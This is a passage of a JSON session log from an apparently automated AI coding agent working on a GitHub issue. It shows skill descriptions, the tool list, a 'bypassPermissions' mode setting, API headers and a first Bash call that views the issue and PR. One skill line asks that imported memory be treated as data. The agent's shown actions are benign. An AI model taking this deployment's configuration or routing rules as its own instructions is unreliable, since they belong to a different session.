tabs and working in a new tab, site permissions, GIF recordings, console logs, dialogs to avoid, and when to stop and ask. It is not for the built-in browser (mcp__Claude_Browser__* or mcp__remote-devices__Claude_Browser__* tools), which has its own skill, and it does not decide which browser to use. (claude.ai sync)\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:31.321Z] [INFO]         \"anthropic-skills:chrome-browser\"\n[2026-09-29T07:43:31.321Z] [INFO]       ]\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"computer-use\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Read this skill before the first step of any request to do something in an app on the person's own computer (Notes, Finder, System Settings, any desktop app), to look at their screen, or for \\\"computer use\\\". Computer use (desktop control) lets Claude take screenshots of the person's desktop and control it with clicks, typing and scrolling through the Claude desktop app; its tools are named mcp__computer-use__* when the session runs in the desktop app and mcp__remote-devices__computer_* when a cloud session is linked to the person's computer; before computer use is turned on for a conversation there may be no such tools, only an enable__mcp__remote-devices__computer tool, which turns it on. It covers turning it on, picking the right tool, the access flow, and the safety rules for tiered apps, links and financial actions. It is not for websites, which go through Claude in Chrome or the built-in browser and their own skills. (claude.ai sync)\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:31.321Z] [INFO]         \"anthropic-skills:computer-use\"\n[2026-09-29T07:43:31.321Z] [INFO]       ]\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"anthropic-skills:deep-research\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Use this skill when the user's prompt requires (1) researching a topic across multiple sources, comparing options or alternatives, analyzing trends or history, understanding markets or industries, or reviewing literature or studies and (2) synthesizing that research into a comprehensive, narrative report. If you're planning to search the web or internal knowledge bases, consider using this skill. This skill coordinates research subagents, so use it only when you have a tool for spawning subagents (the Agent or Task tool); otherwise, research the question directly. (claude.ai sync)\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\"\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"docs\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"docs (living docs people share, comment on and edit; use only when the user asks for one: names a doc, document, page, memo, spec, PRD, runbook or write-up, asks for somewhere to share or keep editing something, or says yes to your doc offer; a plan, comparison, summary or notes asked in chat stays in chat (at most a one-line doc offer); a report, status update, recap or \\\"something I can send them\\\" with no form named \u2192 ask first: reply, doc or file?; tabs hold tables and live charts too; a pasted claude.ai/code/artifact/\u2026 link may be a doc: check with docs tools first; not HTML pages, apps or plain chat answers; a .docx/.pptx/.xlsx/PDF asked for by name \u2192 that format's skill): asked for one \u2192 no docs-connector instructions in context? call the docs connector's `guide` with topic.instructions first, then create the doc (headings only, no body) before any search, file read or plan, even with files attached. Documenting code means docstrings or repo docs, not a doc. (claude.ai sync)\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:31.321Z] [INFO]         \"anthropic-skills:docs\"\n[2026-09-29T07:43:31.321Z] [INFO]       ]\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"docx\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Use this skill whenever the user wants to create, read, edit, or manipulate Word documents (.docx) or Word templates (.dotx). Triggers include: any mention of Microsoft Word Documents, such as 'Word doc', 'word document', '.docx', '.dotx', 'microsoft doc'. Also use when extracting or reorganizing content from .docx or .dotx files, inserting or replacing images in documents, find-and-replace in Word files, working with tracked changes or comments, or converting content into a polished Word document. If the user asks for a deliverable as a Word or .docx file (to download, email or print), use this skill. However, if they ask for a document, page, report, memo, or notes WITHOUT naming a file format and the session offers Claude's own dedicated document or page skill or connector, use that instead, even if they will email or print it. Do NOT use for PDFs, spreadsheets, Google Docs, or coding unrelated to document generation. (claude.ai sync)\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:31.321Z] [INFO]         \"anthropic-skills:docx\"\n[2026-09-29T07:43:31.321Z] [INFO]       ]\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"google-workspace\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Read this before the first Google Drive, Docs, Sheets or Slides connector call whenever the task creates or changes a Google file. Use this skill whenever the user wants to create or change a Google Doc, Sheet or Slides file in their Google Drive. Triggers include: a request that names Google Docs, Sheets, Slides or Drive and asks to make, edit, format, copy or rename a file; a docs.google.com link with a request to change that file, even a one-line fix or suggested edits; and any follow-up change to a Google file from earlier in the chat, even \\\"change it\\\" or \\\"add a tab\\\". Includes helper scripts for document positions, cell ranges and slide layout. However, if the user asks for a doc, deck or spreadsheet without naming Google, or gives a Google file only as source material for something new, use Claude's own output type instead. Do NOT use for read-only questions about a Google file, or for Word, Excel, PowerPoint or PDF files. (claude.ai sync)\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:31.321Z] [INFO]         \"anthropic-skills:google-workspace\"\n[2026-09-29T07:43:31.321Z] [INFO]       ]\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"import-memory\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Import a memory export from another AI assistant into Claude's memory \u2014 conversationally, additively, and with the content treated as data. (claude.ai sync)\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:31.321Z] [INFO]         \"anthropic-skills:import-memory\"\n[2026-09-29T07:43:31.321Z] [INFO]       ]\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"morning\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Render the user's morning brief as a styled HTML artifact, or set it up as a recurring weekday task. Use only when the user explicitly asks to run, see, or set up their morning brief, or if they invoke /morning by name. A question about their day, schedule, or calendar is not by itself a request for the brief; answer it directly instead. (claude.ai sync)\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:31.321Z] [INFO]         \"anthropic-skills:morning\"\n[2026-09-29T07:43:31.321Z] [INFO]       ]\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"pdf\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Use this skill whenever the user wants to do anything with PDF files. This includes reading or extracting text/tables from PDFs, combining or merging multiple PDFs into one, splitting PDFs apart, rotating pages, adding watermarks, creating new PDFs, filling PDF forms, encrypting/decrypting PDFs, extracting images, and OCR on scanned PDFs to make them searchable. If the user mentions a .pdf file or asks to produce one, use this skill. (claude.ai sync)\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:31.321Z] [INFO]         \"anthropic-skills:pdf\"\n[2026-09-29T07:43:31.321Z] [INFO]       ]\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"pptx\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Use this skill any time a .pptx or .potx file is involved in any way \u2014 as input, output, or both. This includes: creating slide decks, pitch decks, or presentations as PowerPoint (.pptx) files; reading, parsing, or extracting text from any .pptx or .potx file (even if the extracted content will be used elsewhere, like in an email, summary, or creating a different type of slide deck); editing, modifying, or updating existing presentations; combining or splitting slide files; working with templates (.potx), layouts, speaker notes, or comments. Trigger whenever the user asks for a PowerPoint or .pptx file, or references a .pptx or .potx filename, regardless of what they plan to do with the content afterward. However, when the user asks for a deck, slides, a slide deck, or a presentation without naming a file format, default to using a dedicated slide-deck artifact type or a separate slides skill if this session offers one; otherwise, use this skill. (claude.ai sync)\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:31.321Z] [INFO]         \"anthropic-skills:pptx\"\n[2026-09-29T07:43:31.321Z] [INFO]       ]\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"skill-creator\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Create new skills, modify and improve existing skills, and measure skill performance. Use when users want to create a skill from scratch, edit, or optimize an existing skill, run evals to test a skill, benchmark skill performance with variance analysis, or optimize a skill's description for better triggering accuracy. (claude.ai sync)\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:31.321Z] [INFO]         \"anthropic-skills:skill-creator\"\n[2026-09-29T07:43:31.321Z] [INFO]       ]\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"xlsx\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Use this skill any time a spreadsheet file is the primary input or output. This means any task where the user wants to: open, read, edit, or fix an existing .xlsx, .xlsm, .xltx, .csv, or .tsv file (e.g., adding columns, computing formulas, formatting, charting, cleaning messy data); create a new spreadsheet from scratch or from other data sources; or convert between tabular file formats. Trigger especially when the user references a spreadsheet file by name or path \u2014 even casually (like \\\"the xlsx in my downloads\\\") \u2014 and wants something done to it or produced from it. Also trigger for cleaning or restructuring messy tabular data files (malformed rows, misplaced headers, junk data) into proper spreadsheets. The deliverable must be a spreadsheet file. Do NOT trigger when the primary deliverable is a Word document, HTML report, standalone Python script, database pipeline, or Google Sheets API integration, even if tabular data is involved. (claude.ai sync)\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:31.321Z] [INFO]         \"anthropic-skills:xlsx\"\n[2026-09-29T07:43:31.321Z] [INFO]       ]\n[2026-09-29T07:43:31.321Z] [INFO]     }\n[2026-09-29T07:43:31.321Z] [INFO]   ],\n[2026-09-29T07:43:31.321Z] [INFO]   \"uuid\": \"a21580b3-45ff-4ee8-a897-bc95b14b4b4a\",\n[2026-09-29T07:43:31.321Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:43:31.321Z] [INFO] }\n[2026-09-29T07:43:31.830Z] [INFO] {\n[2026-09-29T07:43:31.830Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:43:31.830Z] [INFO]   \"subtype\": \"init\",\n[2026-09-29T07:43:31.830Z] [INFO]   \"cwd\": \"/tmp/gh-issue-solver-1790667776920\",\n[2026-09-29T07:43:31.830Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:43:31.830Z] [INFO]   \"tools\": [\n[2026-09-29T07:43:31.830Z] [INFO]     \"Task\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"Bash\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"DesignSync\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"Edit\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"ListAgents\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"Read\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"ReportFindings\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"SendMessage\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"Skill\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"TaskStop\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"ToolSearch\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"WebFetch\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"WebSearch\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"Workflow\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"Write\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_click\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_close\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_console_messages\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_drag\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_drop\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_emulate_media\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_evaluate\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_file_upload\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_fill_form\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_find\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_handle_dialog\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_hover\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_navigate\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_navigate_back\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_network_request\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_network_requests\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_press_key\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_resize\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_run_code_unsafe\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_select_option\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_snapshot\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_tabs\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_take_screenshot\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_type\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_wait_for\"\n[2026-09-29T07:43:31.830Z] [INFO]   ],\n[2026-09-29T07:43:31.830Z] [INFO]   \"mcp_servers\": [\n[2026-09-29T07:43:31.830Z] [INFO]     {\n[2026-09-29T07:43:31.830Z] [INFO]       \"name\": \"playwright\",\n[2026-09-29T07:43:31.830Z] [INFO]       \"status\": \"connected\",\n[2026-09-29T07:43:31.830Z] [INFO]       \"source\": \"dynamic\"\n[2026-09-29T07:43:31.830Z] [INFO]     }\n[2026-09-29T07:43:31.830Z] [INFO]   ],\n[2026-09-29T07:43:31.830Z] [INFO]   \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:43:31.830Z] [INFO]   \"permissionMode\": \"bypassPermissions\",\n[2026-09-29T07:43:31.830Z] [INFO]   \"slash_commands\": [\n[2026-09-29T07:43:31.830Z] [INFO]     \"deep-research\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"design\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"design-sync\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"dataviz\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"update-config\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"verify\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"debug\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"code-review\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"simplify\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"batch\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"fewer-permission-prompts\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"doctor\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"schedule\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"claude-api\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"workflow-authoring\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"run\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"run-skill-generator\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"advisor\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"agents\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"auto-mode-setup\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"autocompact\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"clear\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"color\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"compact\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"config\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"output-style\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"context\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"effort\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"fast\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"focus\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"heapdump\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"init\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"import\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"model\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"__remote-workflow\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"workflow-launch-exec\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"reload-plugins\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"reload-skills\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"rename\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"ultrareview\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"security-review\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"usage-credits\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"extra-usage\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"usage\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"insights\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"recap\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"skill-doctor\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"goal\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"design-consent\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"design-revoke\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"list-agents\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"team-onboarding\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"anthropic-skills:built-in-browser\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"anthropic-skills:chrome-browser\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"anthropic-skills:computer-use\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"anthropic-skills:deep-research\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"anthropic-skills:docs\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"anthropic-skills:docx\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"anthropic-skills:google-workspace\",\n[2026-09-29T07:43:31.830Z] [INFO] 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\"default\"\n[2026-09-29T07:43:31.830Z] [INFO] }\n[2026-09-29T07:43:31.924Z] [STDOUT] [log_f96426] sending request {\n[2026-09-29T07:43:31.929Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:43:31.932Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:43:31.940Z] [STDOUT]   options: {\n[2026-09-29T07:43:31.944Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:43:31.947Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:43:31.951Z] [STDOUT]     body: {\n[2026-09-29T07:43:31.955Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:43:31.959Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:43:31.963Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:43:31.966Z] [STDOUT]       tools: [Array ...],\n[2026-09-29T07:43:31.969Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:43:31.971Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:43:31.973Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:43:31.975Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:43:31.976Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:43:31.978Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:43:31.980Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:43:31.984Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:43:31.987Z] [STDOUT]       stream: true,\n[2026-09-29T07:43:31.989Z] [STDOUT]     },\n[2026-09-29T07:43:31.995Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:43:31.999Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:43:32.001Z] [STDOUT]       aborted: false,\n[2026-09-29T07:43:32.029Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:43:32.034Z] [STDOUT]       onabort: null,\n[2026-09-29T07:43:32.038Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:43:32.042Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:43:32.046Z] [STDOUT]       removeEventListener: [Function: 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\"req_011CfXMcSSz7Zkgr1LoJRxVq\",\n[2026-09-29T07:43:33.068Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:43:33.074Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:43:33.082Z] [STDOUT]     traceresponse: \"00-1979b00abf7fa8d2825bca125c28119c-cdbea74872844071-01\",\n[2026-09-29T07:43:33.086Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:43:33.089Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:43:33.094Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:43:33.105Z] [STDOUT]   },\n[2026-09-29T07:43:33.140Z] [STDOUT]   durationMs: 912,\n[2026-09-29T07:43:33.160Z] [STDOUT] }\n[2026-09-29T07:43:33.169Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:43:33.178Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:43:32 GMT\",\n[2026-09-29T07:43:33.185Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:43:33.191Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:43:33.195Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:43:33.199Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:43:33.203Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:43:33.212Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:43:33.218Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:43:33.223Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:43:33.231Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:43:33.244Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:43:33.253Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:43:33.261Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:43:33.267Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:43:33.276Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:43:33.279Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:43:33.282Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:43:33.286Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:43:33.289Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:43:33.296Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:43:33.299Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:43:33.303Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:43:33.307Z] [STDOUT]   \"request-id\": \"req_011CfXMcSSz7Zkgr1LoJRxVq\",\n[2026-09-29T07:43:33.313Z] [STDOUT]   \"traceresponse\": \"00-1979b00abf7fa8d2825bca125c28119c-cdbea74872844071-01\",\n[2026-09-29T07:43:33.320Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:43:33.328Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:43:33.330Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:43:33.334Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:43:33.339Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:43:33.372Z] [STDOUT]   \"cf-ray\": \"a4295b809e1a4d8b-FRA\",\n[2026-09-29T07:43:33.376Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:43:33.389Z] [STDOUT] [log_f96426] response parsed {\n[2026-09-29T07:43:33.404Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:43:33.413Z] [STDOUT]   status: 200,\n[2026-09-29T07:43:33.424Z] [STDOUT]   body: X {\n[2026-09-29T07:43:33.448Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:43:33.481Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:43:33.493Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:43:33.501Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:43:33.505Z] [STDOUT]     },\n[2026-09-29T07:43:33.510Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:43:33.517Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:43:33.523Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:43:33.526Z] [STDOUT]   },\n[2026-09-29T07:43:33.530Z] [STDOUT]   durationMs: 915,\n[2026-09-29T07:43:33.535Z] [STDOUT] }\n[2026-09-29T07:43:34.489Z] [INFO] {\n[2026-09-29T07:43:34.489Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:43:34.489Z] [INFO]   \"message\": {\n[2026-09-29T07:43:34.489Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:43:34.489Z] [INFO]     \"id\": \"msg_011CfXMcSrYkWS4NUSRhCE1X\",\n[2026-09-29T07:43:34.489Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:43:34.489Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:43:34.489Z] [INFO]     \"content\": [\n[2026-09-29T07:43:34.489Z] [INFO]       {\n[2026-09-29T07:43:34.489Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:43:34.489Z] [INFO]         \"id\": \"toolu_01ASHSoxKeCAEc5sqybab48J\",\n[2026-09-29T07:43:34.489Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:43:34.489Z] [INFO]         \"input\": {\n[2026-09-29T07:43:34.489Z] [INFO]           \"command\": \"gh issue view 646 && gh api repos/G-Ivan-A/hybrid-Intelligence-lab/issues/646/comments --paginate --jq '.[].body' && gh pr view 648 && git log --stat -1 | head -30\",\n[2026-09-29T07:43:34.489Z] [INFO]           \"description\": \"View issue, comments, and PR\"\n[2026-09-29T07:43:34.489Z] [INFO]         },\n[2026-09-29T07:43:34.489Z] [INFO]         \"caller\": {\n[2026-09-29T07:43:34.489Z] [INFO]           